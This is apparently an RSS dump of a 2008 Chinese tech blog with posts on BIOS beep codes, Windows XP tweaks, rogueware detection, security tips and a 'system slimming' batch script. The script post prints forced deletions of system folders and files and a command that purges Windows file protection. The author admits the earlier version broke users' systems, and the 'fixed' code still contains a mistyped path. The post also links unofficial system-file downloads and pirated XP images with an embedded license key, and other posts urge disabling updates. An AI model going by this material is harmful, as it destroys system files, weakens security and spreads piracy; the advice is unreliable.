<![CDATA[zjysq1989的博客]]> http://zjysq1989.blog.163.com zh-CN Fri, 11 Jul 2008 22:52:26 +0800 Fri, 11 Jul 2008 22:52:26 +0800 http://blogs.law.harvard.edu/tech/rss 120 <![CDATA[zjysq1989的博客]]> http://ava.blog.163.com/photo/J9a6BuWjBVyKjmChyLqrbA==/171418260819015947.jpg http://zjysq1989.blog.163.com <![CDATA[BOIS报错铃声与故障排解方法对照]]> http://zjysq1989.blog.163.com/blog/static/37863996200822662543131

主板报警详解：

AWARD BIOS响铃声的一般含义是：

1短: 系统正常启动。这是我们每天都能听到的，也表明机器没有任何问题。

2短: 常规错误，请进入CMOS Setup，重新设置不正确的选项。

1长1短: RAM或主板出错。换一条内存试试，若还是不行，只好更换主板。

1长2短: 显示器或显示卡错误。

1长3短: 键盘控制器错误。检查主板。

1长9短: 主板Flash RAM或EPROM错误，BIOS损坏。换块Flash RAM试试。

不断地响（长声）: 内存条未插紧或损坏。重插内存条，若还是不行，只有更换一条内存。

不停地响: 电源、显示器未和显示卡连接好。检查一下所有的插头。

重复短响: 电源问题。

无声音无显示: 电源问题。

AMI BIOS响铃声的一般含义是：

1. 一短声，内存刷新失败。内存损坏比较严重，恐怕非得更换内存不可。

2. 二短声，内存奇偶校验错误。可以进入CMOS设置，将内存Parity奇偶校验选项关掉，即设置为Disabled。不过一般来说，内存条有奇偶校验并且在CMOS设置中打开奇偶校验，这对微机系统的稳定性是有好处的。

3. 三短声，系统基本内存（第1个64Kb）检查失败。更换内存吧。

4. 四短声，系统时钟出错。维修或更换主板。

5. 五短声，CPU错误。但未必全是CPU本身的错，也可能是CPU插座或其它什么地方有问题，如果此CPU在其它主板上正常，则肯定错误在于主板。

6. 六短声，键盘控制器错误。如果是键盘没插上，那好办，插上就行；如果键盘连接正常但有错误提示，则不妨换一个好的键盘试试；否则就是键盘控制芯片或相关的部位有问题了。

7. 七短声，系统实模式错误，不能切换到保护模式。这也属于主板的错。

8. 八短声，显存读/写错误。显卡上的存贮芯片可能有损坏的。如果存贮片是可插拔的，只要找出坏片并更换就行，否则显卡需要维修或更换。

9. 九短声，ROM BIOS检验出错。换块同类型的好BIOS试试，如果证明BIOS有问题，你可以采用重写甚至热插拔的方法试图恢复。

10. 十短声，寄存器读/写错误。只能是维修或更换主板。

11. 十一短声，高速缓存错误。

12. 如果听不到beep响铃声也看不到屏幕显示，首先应该检查一下电源是否接好，在检修时往往容易疏忽，不接上主板电源就开机测试。其次得看看是不是少插了什么部件，如CPU、内存条等。再次，拔掉所有的有疑问的插卡，只留显示卡试试。最后找到主板上清除（clear）CMOS设置的跳线，清除CMOS设置，让BIOS回到出厂时状态。如果显示器或显示卡以及连线都没有问题，CPU和内存也没有问题，经过以上这些步骤后，微机在开机时还是没有显示或响铃声，那就只能是主板的问题了。

POENIX的BIOS报警声（以前的老板上有许多POENIX的，可现在已经被AWARD收购了）

1短 系统启动正常

1短1短1短 系统加电初始化失败

1短1短2短 主板错误

1短1短3短 CMOS或电池失效

1短1短4短 ROM BIOS校验错误

1短2短1短 系统时钟错误

1短2短2短 DMA初始化失败

1短2短3短 DMA页寄存器错误

1短3短1短 RAM刷新错误

1短3短2短 基本内存错误

1短3短3短 基本内存错误

1短4短1短 基本内存地址线错误

1短4短2短 基本内存校验错误

1短4短3短 EISA时序器错误

1短4短4短 EISA NMI口错误

2短1短1短 前64K基本内存错误

3短1短1短 DMA寄存器错误

3短1短2短 主DMA寄存器错误

3短1短3短 主中断处理寄存器错误

3短1短4短 从中断处理寄存器错误

3短2短4短 键盘控制器错误

3短1短3短 主中断处理寄存器错误

3短4短2短 显示错误

3短4短3短 时钟错误

4短2短2短 关机错误

4短2短3短 A20门错误

4短2短4短 保护模式中断错误

4短3短1短 内存错误

4短3短3短 时钟2错误

4短3短4短 时钟错误

4短4短1短 串行口错误

4短4短2短 并行口错误

4短4短3短 数字协处理器错误

]]> http://zjysq1989.blog.163.com/blog/static/37863996200822662543131 0 http://zjysq1989.blog.163.com/blog/static/37863996200822662543131 Wed, 26 Mar 2008 06:25:43 +0800 2008-03-26T06:25:43+08:00 <![CDATA[WindowsXP优化基础]]> http://zjysq1989.blog.163.com/blog/static/37863996200822662351656

大多数人家里计算机主要用于上网冲浪和玩GAME，并且配置也不是很高，如果装上了中看且中用的Windows XP，你的感觉可以用一个字来形容：慢！这就是我安装完Windows XP的第一个体验。为什么这么慢呢？因为微软为了让你有新的体验，所以往Windows XP中加入了大量崭新的功能，比如：系统还原，远程桌面，自动更新，Internet时间同步……，对于我而言，这些功能基本用不上，白白的耗了内存。加上近段时间内存不停的狂涨，要知道，大多人的机器仍然只有128MB(虽然笔者的机器有256MB的内存，但是我仍然讨厌无谓的浪费)！下面笔者介绍几个Windows XP内存优化的方法供大家参考。

一、关闭“系统还原”功能

“系统还原”功能是windows系列操作系统的一个重要特色，这一功能的最初仅限于：当Windows运行出现问题后，还原操作系统。到windows XP，进了一步，除了还原操作系统，还可还原私人数据，如：Word文档，绘图资料，Email甚至是浏览器的历史资料等等。“系统还原”虽然对经常犯错误的人有用，但是它会让你的硬盘处于高度繁忙的状态，你会发现你的硬盘总是忙个不停，因为Windows XP要记录操作，以便日后还原。如果你对自己有信心，那么就不要使用它，因为它可占不少内存。

具体操作为：右键单击“我的电脑”，点击属性，会弹出来系统属性对话框，点击“系统还原”，在“在所有驱动器上关闭系统还原”选项上打勾。

二、关闭“自动更新”功能

这个功能对一个24小时都挂在网上的用户来说很适合，但是考虑到在宽带还未普及的情况下，大多数家庭都是拨号上网，没有理由让这个功能一直开着。笔者建议你将默认的自动升级改为手动升级方式，以便使你了解系统都做了些什么。

具体操作为：右键单击“我的电脑”，点击属性，点击“自动更新”，在“通知设置”一栏选择“关闭自动更新。我将手动更新计算机”一项。

三、关闭“远程桌面”功能

顾名思义，这个功能就是让你可以让别人在另一台机器上访问你的桌面。可以说，在一个网络环境中，比如单位的局域网，这个功能很有用(要在防火墙没有限制的情况下)。比如你有问题了可以向同事求助，他可以不用到你的跟前，直接通过“远程桌面”来访问你的机器帮你解决问题。但是在家里面，通常只有一台计算机，这个功能就显得多余了，所以微软又赋予了它新的功能叫做“快速用户切换”，就是你可以不用注销你的用户让另一个人以其他用户的身份注册来使用你的计算机。我个人认为这个功能有一定的不安全因素在里面，并且，计算机也不是时时都在出问题，所以我的建议关掉它，否则你不用它就等于白白浪费内存。

四、优化“视觉效果”设置

Windows XP在操用界面方面，的确是好看多了，不过好看的背后是以消耗大量内存作为代价的，如果你的内存没有256MB以上，最好还是优化一下你的“视觉效果”功能。右键单击“我的电脑”，点击属性，点击“高级”，在“性能”一栏中，点击“设置”，点击“视觉效果”，在这里可以看到外观的所有设置，可以手工去掉一些不需要的功能。

五、优化“启动和故障恢复”设置

如果在你的系统崩溃时发现你的硬盘使劲儿的响，那是因为Windows XP正在写DUMP文件呢，对我们来说，如果你不打算把这个文件寄给微软(浪费电话费)，那么它又有什么用呢？所以笔者的建议是关闭。右键单击“我的电脑”，点击属性，点击“高级”，在“启动和故障恢复”一栏中，点击“设置”，其中的“系统失败”一栏中，建议改为图中的设置。

六、禁用“错误汇报”功能

这个功能可以在你的Windows XP发生错误的时候，系统自动收集一些错误资料然后发送给微软公司，以便其完善他们的操作系统(又一个浪费电话费且没用的功能)。笔者建议关掉它。如果这个功能对你没有用，那又何必让它占用着你的内存呢？右键单击“我的电脑”，点击属性，点击“高级”→“错误汇报”，选择“禁用错误汇报”功能。

七、关闭“Internet时间同步”功能

如果启用了同步，你的计算机时钟每周就会和 Internet 时间服务器进行一次同步。笔者建议关掉它(一个没多大用的功能)。请依次单击“开始”→“控制面板”→“日期、时间、语言和区域选项”，然后单击“日期和时间”→“Internet时间”。

八、关闭多余的服务

每次Windows XP启动之后，随之也启动了许多服务，有些服务对于很多用户来说是没用的，并且占用了内存，关掉它们是一个很好的选择。下面我们来看一下哪些服务有必要关掉。

点击“开始”→“运行”，输入命令“services.msc”，打开“服务”对话框，(注意：必须以管理员或 Administrators 组成员身份登录才能完成该过程。如果计算机与网络连接，则网络策略设置也可以阻止您完成此步骤。)

“Clipbook Server”(文件夹服务器)：这个服务允许你们网络上的其他用户看到你的文件夹。在这里我要强烈建议你把它改为手动启动，然后再使用其他程序在你的网络上发布信息。

“Messenger”(消息)：在网络上发送和接收信息。如果你关闭了Alerter，你可以安全地把它改为手动启动。

“Printer Spooler”(打印后台处理程序)：如果你没有配置打印机，建议改为手动启动或干脆关闭它。

“Error Reporting Service”(错误报告)：服务和应用程序在非标准环境下运行时提供错误报告。建议改为手动启动。

“Fast User Switching Compatibility”(快速用户切换兼容性)：建议改为手动启动。

“Automatic Updates”(自动更新)：这个功能前面已经讲过了，在这里可以改为手动启动。

“Net Logon”（网络注册）：处理象注册信息那样的网络安全功能。你可以把它设改为手动启动。

“Network DDE和Network DDE DSDM”(动态数据交换)：除非你准备在网上共享你的Office，否则你应该把它改为手动启动。注：这和在通常的商务设定中使用Office不同(如果你需要DDE，你就会知道)。

“NT LM Security Support”(NT LM安全支持提供商)：在网络应用中提供安全保护。建议你把它改为手动启动。

“Remote Desktop Help Session Manager”(远程桌面帮助会话管理器)：建议改为手动启动。

“Remote Registry”(远程注册表)：使远程用户能修改此计算机上的注册表设置。建议改为手动启动。

“Task Scheduler”(任务调度程序)：使用户能在此计算机上配置和制定自动任务的日程，它计划每星期的碎片整理等。 除非你实在太懒了，连在电脑上开一下都不想，建议改为手动启动。

“Uninterruptible Power Supply”(不间断电源)：它管理你的UPS。如果你没有的话，把它改为手动启动或干脆关闭它。

“Windows Image Acquisition (WIA)”(Windows 图像获取 (WIA))：为扫描仪和照相机提供图像捕获，如果你没有这些设备，建议改为手动启动或干脆关闭它。

十、整理你的内存

打开一个文本文件，然后插入以下中的1个：Mystring = Space(16000000) 或 Mystring = Space(80000000)，你只需要插入其中的1个。把文件保存为memory.vbs。如果你安装了Visual Basic 4(或更高的版本)运行文件，那么你可以随时双击这个程序来运行它。

最下面的那一条是给那些有不少于128MB内存的人的。当然每个人都应该先试一下它，因为大多数情况下它工作得更好。不过，如果它引起错误的话，把它替换成最上面那一条(可以用于任何不少于64MB内存的电脑)。

另外， 建议你在运行它之前先把其他的所有程序关闭。

以上设置改完后，可以同时按下“Ctrl+Alt+Del”打开“Windows 任务管理器”对话框，点击“性能”，在右下角可以看到内存的使用情况，经过以上优化后，内存占用应该在几十MB了，是不是感觉快了一点。

当然，对于内存优化还有一些大家非常熟悉的方法，比如：不使用壁纸，不使用屏幕保护程序等等，在这里就不一一阐述了。以上这些方法对于内存不够多的朋友应该有所帮助。

]]> http://zjysq1989.blog.163.com/blog/static/37863996200822662351656 0 http://zjysq1989.blog.163.com/blog/static/37863996200822662351656 Wed, 26 Mar 2008 06:23:51 +0800 2008-03-26T06:23:51+08:00 <![CDATA[教你几招判断你的系统是否被流氓侵犯]]> http://zjysq1989.blog.163.com/blog/static/3786399620082266224340 江湖规矩“人不犯我，我不犯人”，但是流氓软件并不遵守这条规矩，它们唯恐无法入侵，一旦有机会，你便被其缠身。流氓软件的龙头大哥──3721就采取了“无孔不入”的手段，不管你是在安装软件、浏览网站时它都会在用户不知情的情况下伺机入驻电脑中。那么，如何才能知道自己的电脑是否招流氓了呢？ 　　
　　1．根据表象初步判断

　　医生判断一个病人是否感冒了，可以从是否流鼻涕，是否鼻塞、是否附带咳嗽等表象进行判断，而要想判断系统是否感染了流氓软件，也可以从表象来判断。当系统感染了流氓软件后一般有以下几种可疑迹象可以通过感觉来判断：

　　① 系统运行速度越来越慢

　　安装了病毒防火墙，系统中最近也并没安装什么软件，但是系统的运行速度一天比一天慢，而杀毒软件也没有进行病毒警告，这种情况下，十之八九中了流氓软件的招。

　　② 部分软件（特别是浏览器）设置被强行修改

　　由于流氓软件表面上是为用户提供了一些有用的功能，但实质上，它们是为了达到宣传自己的网站、自己的产品等目的。因此，流氓软件一旦成功入侵电脑，它们便会在一些软件上提供相应的插件工具栏，以浏览器类软件居多，在浏览器家族中又以IE最受流氓软件欢迎。当发现日常使用的软件的工具栏被增加了一些项目或是像浏览器的设置被修改了，也足可以说明系统中可能感染了流氓软件。

　　③ 自动弹出广告窗口

　　在正常使用电脑过程中，时而不时地自动弹出一些广告窗口，关闭后隔一断时间又会出现，做广告本是流氓软件的一个目的，因此，当你频繁地看到自动弹出的广告时，系统也有可能感染了流氓软件。

　　④ 自动打开网站

　　与自动弹出广告类似，有些流氓软件更猖狂，会自动启动浏览器并打开一些网站，如果你遇到了这种情况也说明系统有招流氓软件的迹象了。

　　2．利用工具检测

　　根据表象判断只是精略地推断是否感染流氓软件，就像医生给病毒看病一样，先是通过询问等方式来大致地判断病情，最后还会使用相关的医疗机器进行确诊。判断系统是否招流氓软件也应该通过工具来“确诊”。

　　① 使用系统的任务管理器

　　当系统感染了流氓软件后，只要流氓软件正在运行的话，一般都是可以通过系统的任务管理器来寻觅其踪影：

　　按下“Ctrl+Shift+Esc”打开任务管理器窗口，再单击“进程”选项卡，在进程列表中将会看到流氓软件的踪影了。不过，这种方法只适合那些对电脑系统比较熟悉并对流氓软件对应的进程有所了解的朋友们采用。

　　② 使用专用检测工具

　　使用任务管理器这个系统自带的工具来检测流氓软件对用户的要求相对高些，为此，笔者推荐大多数用户使用专业的流氓软件检测工具来检测，这样既直观，操作也会方便很多。

　　现在检测流氓软件的工具有不少，例如：超级兔子、Upiea、恶意软件清理助手、360安全卫士、Windows Defender等。而流氓软件检测数目要数360安全卫士最多]]> http://zjysq1989.blog.163.com/blog/static/3786399620082266224340 0 http://zjysq1989.blog.163.com/blog/static/3786399620082266224340 Wed, 26 Mar 2008 06:22:43 +0800 2008-03-26T06:22:43+08:00 <![CDATA[个人电脑如何防黑客入侵]]> http://zjysq1989.blog.163.com/blog/static/37863996200822662159525

当你在网络上冲浪或是正在同别人聊天时，机器突然死机了，或是蓝屏了，网页不能浏览了，QQ 登录不上去了，城市在线也打不开了，导航不能导了。这时你就该想想自己是不是中毒了，或是被黑了。

　　为防止个人电脑被黑客攻击，使用电脑应该遵循这些安全准则：

　　一、 安装防火墙和杀毒软件

　　二、 密码安全准则

　　1、 不要使用简单的密码;

　　对于不同的网站和程序，要使用不同口令;

　　2、 要记录好你的ID和密码，但不要存放在上网的电脑里;

　　3、 要经常更改密码和不要向任何人透露你的密码。

　　三、 IE的安全准则

　　最好禁用IE的自动完成功能

　　四、 聊天软件的安全准则

　　五、 防止特洛伊木马安全准则

　　不要轻易安装和运行从那些不知名的网站下载的软件和那些来历不明的软件。

　　六、 定期升级你的系统

　　七、 电子邮件安全准则

　　八、禁止文件共享

]]> http://zjysq1989.blog.163.com/blog/static/37863996200822662159525 0 http://zjysq1989.blog.163.com/blog/static/37863996200822662159525 Wed, 26 Mar 2008 06:21:59 +0800 2008-03-26T06:21:59+08:00 <![CDATA[一劳永逸,将系统垃圾永远地自动请出系统盘]]> http://zjysq1989.blog.163.com/blog/static/37863996200822661931866

关于原"一键系统自动减肥.bat"的修正

鉴于原贴[一键系统自动减肥]可能已给很多不熟悉的朋友造成麻烦.贴子从此关闭.对于使用后造成过麻烦的朋友.在此一并致歉.如有问题无法解决.请发送小纸条或留言于后.

今天我重新调试了最早发的那段完整的代码.发现keven我确实犯了一个不可饶恕的错误.原始错误的最后一段卸载dllcache的代码:

copy %systemroot%\ststem32\dllcache\explorer.exe %systemroot%\

copy %systemroot%\ststem32\dllcache\userinit.exe %systemroot%\

copy %systemroot%\ststem32\dllcache\ctfmon.exe %systemroot%\

sfc /purgecache

copy %systemroot%\explorer.exe %systemroot%\ststem32\dllcache\ & del /f /s /q %systemroot%\explorer.exe

copy %systemroot%\userinit.exe %systemroot%\ststem32\dllcache\ & del /f /s /q %systemroot%\userinit.exe

copy %systemroot%\ctfmon.exe %systemroot%\ststem32\dllcache\ & del /f /s /q %systemroot%\ctfmon.exe

现调试为正确的完整代码:

@echo off

color 2f

echo ************************************

echo * 奔流电脑维修网---香帅keven改进之 *

echo *一键系统自动减肥(执行一次即可)*

echo ************************************

echo 香帅keven修正于2008-2-19 15:00

del /f /s /q %systemroot%\kb*.log

del /f /s /q %systemroot%\help\*.*

del /f /s /q %systemroot%\temp\*.*

del /f /s /q %systemdrive%\Documents and Settings\All Users\Documents\My BoBoTurbo\*.*

rd /s /q %systemdrive%\Program Files\InstallShield Installation Information

rd /s /q %systemroot%\Downloaded Installations

rd /s /q %systemroot%\ie7updates & md %systemroot%\ie7updates

rd /s /q %systemroot%\SoftwareDistribution\Download & md %systemroot%\SoftwareDistribution\Download

regsvr32 /u /s zipfldr.dll & del /f /s /q %systemroot%\ststem32\zipfldr.dll

echo 已完成系统自动减肥的主要任务!

pause

echo 请特别注意,接下来的是最后一步操作,将自动卸载操作系统的sfc系统文件保护,如果您没有微软公司的原始安装光盘,

echo 或者您不熟悉如何手动指定微软公司原始安装光盘的目录(其实也就是手动指定为:d:\dllcache,或光盘:\i386),

echo 请慎重执行此项操作,如果您不想执行此项操作,此时您可以选择安全关闭此自动批处理程序,

echo 其操作过程如下:首先将您系统目录%systemroot%\system32\dllcache文件夹复制到d盘dllcache中,

echo 接着执行自动卸载sfc系统文件保护,也就是将自动卸载和删除系统目录%systemroot%\system32\dllcache内所有文件

echo 最后再从d盘dllcache中复制explore.exe/userinit.exe/ctfmon.exe三个文件到你系统目录:

echo %systemroot%\system32\dllcache中备用(此为中机器狗病毒的计算机恢复时必用的三个文件)

pause

md d:\dllcache

xcopy /s /e /v /y %systemroot%\system32\dllcache d:\dllcache

sfc /purgecache

copy d:\dllcache\explorer.exe %systemroot%\system32\dllcache

copy d:\dllcache\userinit.exe %systemroot%\system32\dllcache

copy d:\dllcache\ctfmon.exe %systemroot%\system32\dllcache

exit

下载地址请右键点击下载安全版本:

一键系统自动减肥(安全,不卸载sfc系统文件保护2008-2-19修正).bat

这一段代码的意思是这样的.首先一行以md开头的是.是在您的d盘中建立一个名叫上dllcache的文件夹,接着执行xcopy开头的.将位于您系统目录(%systemroot%)如我的xp系统是安装在c盘.这系统目录就是指我的c:\windows\)即将c:\windows\system32\dllcache里面的所有文件复制一份到d:\dllcache中存着,是跟系统盘中的dllcache一模一样的.接着执行sfc /purgecache(请特别注意,这是一行危险的命令,不熟悉系统的朋友请勿用,它将卸载系统的sfc安全保护,也就是将自动删除c:\windows\system32\dllcache里面的所有文件,此时会出现系统文件保护的对话框,如图:

点要点击取消,再下一个对话框中.确定就行了.可能要多点几次.

切记,慎用),最后的三行copy开头的就是将您在前面复制到d盘dllcache中的那三个文件(explorer.exe/userinit.exe/ctfmon.exe)复制一份回到c:\windows\system32\dllcache里面去保存着.-----这一段代码不推荐您使用.此贴只是修正之前的错误之用,请不熟悉操作系统的朋友千万慎用.上述我做好的下载文件已删除了这一段,请放心下载使用

对于复制了我第一次发贴时上述错误部份代码的朋友.请自行修正.如果您已经运行了最初的错误代码.则因我的错误.本是欲将位于d:\dllcache目录(即代码中正确的d:\dllcache)中的explorer.exe/userinit.exe/ctfmon.exe删除的.结果代码写错了.误将大家的系统目录(即代码中错误的:%systemroot%)中的这三个文件给删除了.将造成有如机器狗病毒一样的症状.如果已经执行了上述错误操作的朋友.请执行如下操作即可恢复正常:

1.打开您的系统盘如c:\windows\system32\dllcache,在里面找一下是否还有这三个文件:

explorer.exe

userinit.exe

ctfmon.exe

如果没有了.则可到别的正常的电脑中相同位置复制一份过来,或从我的网盘中去下载,这三个文件的下载地址,下载完后放在c:\windows\system32\dllcache中:

explorer.exe----下载链接: http://cachefile3.fs2you.com/zh-cn/download/0b55963e2c8129d9d2504a3c291447e0/explorer.exe

userinit.exe-----下载地址: http://cachefile11.fs2you.com/zh-cn/download/7bd70ec53cb7398246c84d25bff33aa8/userinit.exe

ctfmon.exe-----下载地址: http://cachefile9.fs2you.com/zh-cn/download/4cc6277445d2d388a4cd827086a5f5f0/ctfmon.exe

如果您已经执行过了卸载sfc系统文件保护的,则请您下载一张微软公司的原始安装光盘(592兆)存在d盘中以备将来之用,请从下面地址下载:

http://211.157.99.146/winxp.iso

ftp://www.world163.com/shvol.iso

http://www.ydez.com/tx/WindowsXP%20SP2.iso

http://www.lwedu.cn/public/gardenplot/cygj/xtrj/VRMPVOL_CNsp2.iso

http://downsg.mikk.cn/zj06testISO/Microsoft.Windows.XP.Professional.SP2.VOL.CHS.iso

thunder://QUFodHRwOi8vd3d3LnBvamllemhhbi5jb20vZC9kb3dubG9hZC5waHA/bj0xJnNlcnZlcj11cmxfMSZpZD04Mjc6OjExOTA1NDkyOTJaWg==

ftp://210.51.22.77:8021/Microsoft.Windows.XP.Professional.CHS.with.SP2.MSDN_DG8FV-B9TKY-FRT9J-6CRCC-XPQ4G.iso

http://cachefile16.fs2you.com/zh-cn/download/c97c86ea1720e0af1b253052e200ea26/WindowsXP%E9%9B%86%E6%88%90SP2%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87VOL%E5%A4%A7%E5%AE%A2%E6%88%B7%E6%8E%88%E6%9D%83%E4%B8%93%E4%B8%9A%E7%89%88%E5%BE%AE%E8%BD%AF%E5%AE%98%E6%96%B9MSDN%E5%8E%9F%E7%89%88%E7%B2%BE%E5%87%8F%E4%BC%98%E5%8C%96%E7%89%88.iso

虽然keven一直坚持无毒上传.但还是请朋友们下载后用杀毒软件再查一次.下载来的是一个以iso为扩展名的光盘镜像文件,请保留此iso原始安装光盘镜像.然后.在d盘中新建一个winxp的文件夹,将下载来的这个iso解压一份在winxp中保存着,这时.您可以打开优化大师来.手动指定您的系统原始安装光盘的路径为:d:\winxp 然点点设置生效,如下图所示:

2.将c:\windows\system32\dllcache里面的explorer.exe复制回您的c:\windows文件夹中

3.然后您检查一下您的c:\windows\system32里面是否有userinit.exe和ctfmon.exe这两个文件.如果有.就不必再执行下面的操作了.如果没有.则再将c:\windows\system32\dllcache里面的:userinit.exe和ctfmon.exe这两个文件复制到您的c:\windows\system32中.系统即可恢复正常.

如果您已经无法登陆系统了,请找一下是否有集成pe的万能克隆系统光盘,如有.请从pe中启动计算机(进入pe后点击桌面上的启用网络即可连接上网).再执行上述复制那三个文件的操作.

另:请大家将代码中原始的这三行(删除movie maker/msn旧版/netmeeting部份代码从原始代码中删去),

rd /s /q %systemdrive%\Program Files\movie maker

rd /s /q %systemdrive%\Program Files\msn

rd /s /q %systemdrive%\Program Files\netmeeting

因为在实测中.直接删去它们并不能将系统注册表卸载干净,需要卸载这三个软件的朋友请在网上找相关能干净卸载它们的软件,如雨林木风论坛中就有

并删去代码中原粉红色的两行:

del /f /s /q %systemroot%\Driver Cache\i386\driver.cab

del /f /s /q %systemroot%\Driver Cache\i386\sp2.cab

以免给您将来需要安装一些驱动程序时造成麻烦.------2008-2-19 15:00修正的完整代码已去除了这两部份.

keven在此再次向大家致歉.对于2-16前回贴报告已造成系统问题的朋友.每人给以一个金币的赔偿(对于首次指出原批处理程充存在致系统崩溃的5891384这位朋友,特别给以3个金币的奖劢.我的金币用完即止).并请求给以党纪党纲处分一次.

请大家慎用上述代码.即使是正确的代码也请慎用.下面发另一个贴

一劳永逸,将系统垃圾永远地自动请出系统盘

[前言]:不是前言的前言:

本是不必要写这行不是前言的前言的,可是许多朋友在实际操作中.总是会犯不愿看完原文即匆匆照做的小错误.keven不得不在此,使用特别醒目的红体字提醒朋友们:在照着本文相关步骤做时.一定要看清本文红体字部份的特别说明和注意事项.否则将有可能会出现如下面楼层朋友们报告的系统无法登陆的情况,切记!切记!切记!

(一).一个小故事及可行性分析:

我们先来说一个故事:话说在某年某月某日的一次国际马垃松长跑竞赛中.有两位运动员F和S,F君身材精干,身上没有一点多出来的肥肉,并且在开始竞赛前.轻装上阵,S君身强力壮,奈何身上肥肉多多.在上阵前.为防自个在路上饿着了.还特意扛了个大袋子.里面装满了食品.水等东东.重量似乎不轻,S君每到一处休息小站,均吃饱喝足.从不顺手携带任何东东在身上.S君吃饱喝足后.为防路上可能出现突然饿了的情况.顺手往自个的袋袋里加满满的......众位看官看到此.F君和S君马拉松竞赛的结果我想您一定一目了然了吧.

当然.这只是我虚拟的一个小故事而已,不过用在此处恰到好处,操作系统长年累月的运行过程.正如一场旷日持久的马拉松竞赛.而故事中的两位运行员F和S君对待这马拉松竞赛的态度.却正如我们的操作系统.而S君身上多出来的肥肉.袋袋和一路上在各个旅馆中加装在袋袋中的食物等.则正如系统运行时产生的许许多多各种各样稀奇古怪的垃圾.我们能否将这些影响我们马拉松竞赛般系统运行过程中所产生的垃圾有效的配置好,并及时清理.将是影响我们系统运行效率的一个极大的因素.故事中的运行员F在竞赛起始就轻装上阵.没有任何累赘,在一路上又能及时将产生的垃圾及时清理掉.故而能一直保持着高效的运行效率.而S君一上阵时就带着一堆的垃圾.在长时间的运行过程中.也不能及时的清理和释放掉系统盘中的垃圾.故而越到后来.其运行速度自然是越来越慢.直至被拖垮.这个道理其实是很浅显易懂的.

当然也许您会说.现在不是有一键自动清理系统垃圾这种高效清除系统垃圾的工具吗.将系统运行过程中所产生的垃圾一次性清除.系统不就变得精干了吗?是的.您没有错.可是.您发现没有.实际上.一键清理系统垃圾等所做的工作.是不是在系统已经产生,并自动在系统盘中存放了许多的垃圾后所做的无奈的事后清理工作呢?那么有没有一种更省事的.能让系统自动将需要产生的垃圾自动存放在非系统盘中去的办法呢.----这样一来.我们的系统盘就可以不必重复被强行写入垃圾(被重复写入垃圾的过程,自然也要产生许多的文件和磁盘碎片)-----然后您不得不经常的清理系统盘,这样.在理论上.您的系统盘的总数据量将永远不会发生改变(当然实际上还是会减少一点点的),而且系统盘在系统安装完成后做过一次磁盘碎片整理后.以后整个数据的结构将不再发生改变.也不再产生文件和磁盘的碎片.因为所有系统产生的垃圾都自动跑到非系统盘去了嘛.-----很幸运.如果您想到这里了.那您跟我也想到一块去了.而keven可以很明确的告诉您的是.这是完全可以实现的.

(二).系统垃圾分析:

1.关于系统垃圾的定义.并没有一个完全令人信服的定义范畴.通常的说.我们一般将系统和任何应用程序在运行时所产生的临时文件,internet explorer等网页浏览器所产生的网页浏览纪录.页面文件(虚拟内存),一些无用的日志文件,磁盘碎片文件,一些软件安装过程中自动解压在系统盘的安装包.系统自动下载的补丁包.xp等系统的系统还原.回收站中未被清空的垃圾文件.无用的帮助文件.字体文件.输入法.没用的区域和语言等,均可划入系统垃圾的范畴,而在这些中.真正会不停地重复强行写入系统盘和不断自动增大的垃圾文件.实际上归结起来.主要的只有以下几种:

(1).系统还原自动保存的垃圾.

(2).系统页面文件即虚拟内存.这个是默认被配置在系统盘中并会产生许多的磁盘碎片的.

(3).系统和用户的临时文件.这是主要的垃圾.

(4).outllook邮件客户端自动下载并保存在系统磁盘中的大量邮件(当然这并不是垃圾,但是却需要频繁地读写系统盘.自然也要拖垮系统盘的运行效率,许多商业用户.经常收发并保存在系统磁盘中的邮件,其容量之大.可谓高得惊人.经常保持在系统盘总容量的10%以上.动辙几个GB的容量)

(5).迅雷等下载软件自动下载在系统磁盘中的软件等(类似于第四点.虽然也不是垃圾,但其在下载过程中对系统盘的读写可能比任何程序的读写均要厉害,而且产生的碎片也是相当巨型的.keven在此要强烈呼唤相关软件开发商重视这个问题,并在其软件默认配置中进行修改)

其它的所谓垃圾实际上占用的磁盘空间都是很小的.

2.部份垃圾文件可以通过系统减肥工作一次性将它们删除即可(如帮助文件.无用字体.输入法.区域和语言选项.垃圾软件如movie maker/msn4.7/netmeeting/自动更新下载的补丁安装包.补丁安装完毕后自动生成的补丁卸载程序,应用程序自动解压出来存在系统盘的安装包等).以后就不会自动产生了.它们在您的系统中所对应的位置,我在此假设您的系统也跟keven一样是安装在c盘中的(那么,其中的%systemdirve%-----即系统盘.您就可以理解为您的c盘;而%systemroot%=%windir%-----即系统目录,对于xp系统,您也可以将它理解为就是您c:\windows这个目录):

(1).您不小心非正常关机后在下次重启后是不是会出现磁盘较验的,没错了.同时,系统会在某些正在使用的磁盘根目录中.将自动生成一系列found.000/found.001/found.002/......这样的文件夹.这就是微软对您的惩罚了.不过没关系.这些都是垃圾,可以直接删除.

(2).在每个磁盘根目录中,是不是都有一个回收站recycler或recycled(当然象金山毒霸还要在系统盘根目录中生成它自己的垃圾回收站),此文件夹在每个磁盘根不中均会自动产生.它是怎么产生的呢.你只要留心一下就会明白了.当您使用鼠标右键删除了一些文件或文件夹后.您在哪个磁盘中删除的.那个磁盘中就会自动生出一个recycler的文件夹来.但是,如果您是使用了键盘上的shift和delete两个组合键进行删除的话.它就不会自动生成来.是不是很奇妙啊.哈哈.对于回收站.微软默认我们在每个磁盘根目录中均准备了相当于这个磁盘总容量10%的空间用来专门存放垃圾.换句话说.如果您的硬盘是160G的.则回收站可以被允许的最大容量是16G.是不是很恐怖哦.其实我们完全可以将它的占用量减小.方法也相当简单.右击桌面上的回收站-----属性----看到百分比的调节了.随便您调成多少都可以.如果您不需要使用回收站,则可以调成0%(keven当然不推荐您调成0%,因为一旦调成0%了.则您删除的东东将不会默认跑到回收站去了.而是直接被删除了.除非使用专用的磁盘数据恢复软件.否则很难找回)

